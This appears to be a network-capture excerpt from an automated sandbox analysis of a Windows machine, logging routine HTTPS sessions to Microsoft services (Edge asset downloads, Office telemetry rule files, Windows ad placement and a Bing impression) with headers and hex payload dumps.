PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49889	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:46 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:45 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 47090967-801e-0039-5dd6-3d28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-15b8b599d882hxlwhC1TEBfa5w00000003e000000000435n Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49886	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:46 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: fa206728-b01e-0057-25df-3d818a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-15b8b599d88g5tp8hC1TEByx6w00000003hg000000000ppp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205946Z-174c587ffdfcj798hC1TEB9bq400000003qg000000002gz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49891	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:46 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205942Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ea89a54074f745cd8d693f63ce7c1675&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p= Cache-Control: no-cache MS-CV: lwu7Ar/LIEGoc7vP.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 20:59:47 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: CN9Muwb+78KdUr+lj4LCTSR/bxpbyehlydBoJA4t7CcjMgv8XJwl/ku0eHT6zfIg/OW0B9hEd4hrN7oFTLTwYG54U3WXfu7YmeNtSX18FODNbnI/LqdBhqMJZrur/uM1ikR+WA9TdM6D3N3Wd1TJGZQZTlXa89ZtERa6s9R00eWHCAAMXAvvmhsqRl9BBV46+VRjdtMtJ7W0TdR3NTpx5+o0qnGixs7g/Rj4Lz+UrC3pIIfeP/Xqs/ZY1cw1agVF/Qwh/NIAfaYPB14K0vyq7BT566yZdFPLYc2Oj1ZrPlQMoQJVVs34xCbS6fvJ9fj6CpMa2ycatxTjCulxLSRUZg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:45 GMT Connection: close
2024-11-23 20:59:47 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:46 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205947Z-15b8b599d882l6clhC1TEBxd5c00000003ag00000000c6zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:47 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:47 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205947Z-178bfbc474bfw4gbhC1NYCunf400000004wg00000000p6mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:46 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205947Z-174c587ffdfb74xqhC1TEBhabc00000003d000000000gvs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49897	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:47 UTC	876	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Cs1T6sB4CM3N7ro7a4YSjTVUCUwAE3yIr5EwL4pZoc95M-hLzoKfCQ6nuVaqTrI87WOj4_oO-5wLn4nZiQDsUYiV31Tr96iPnGs1PP8JyhzQpZgsAH4q7F9AaNEpvJkvLWJWyELr5WAZuZGNtIQvZh2fkvacsXrhfKIp3HirfGuC6FgC%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVElMjZPQ0lEJTNkTTUwMEVR%26rlid%3D2f5e98edffb41fcd8fbcffafbd96dbc9&TIME=20241123T205943Z&CID=531174684&EID=531174684&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-23 20:59:47 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=00B1613A3AD96430138B747A3BC06580; domain=.bing.com; expires=Thu, 18-Dec-2025 20:59:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Sat, 30-Nov-2024 20:59:47 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 42190AF086164E6397BD53317B1C719C Ref B: EWR30EDGE0311 Ref C: 2024-11-23T20:59:47Z Date: Sat, 23 Nov 2024 20:59:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:47 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205947Z-174c587ffdf7t49mhC1TEB4qbg00000003a000000000hkhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49898	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:47 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:48 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:47 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3a2cfd47-101e-0073-16d6-3d18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205947Z-15b8b599d88wk8w4hC1TEB14b800000003c000000000nrgk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
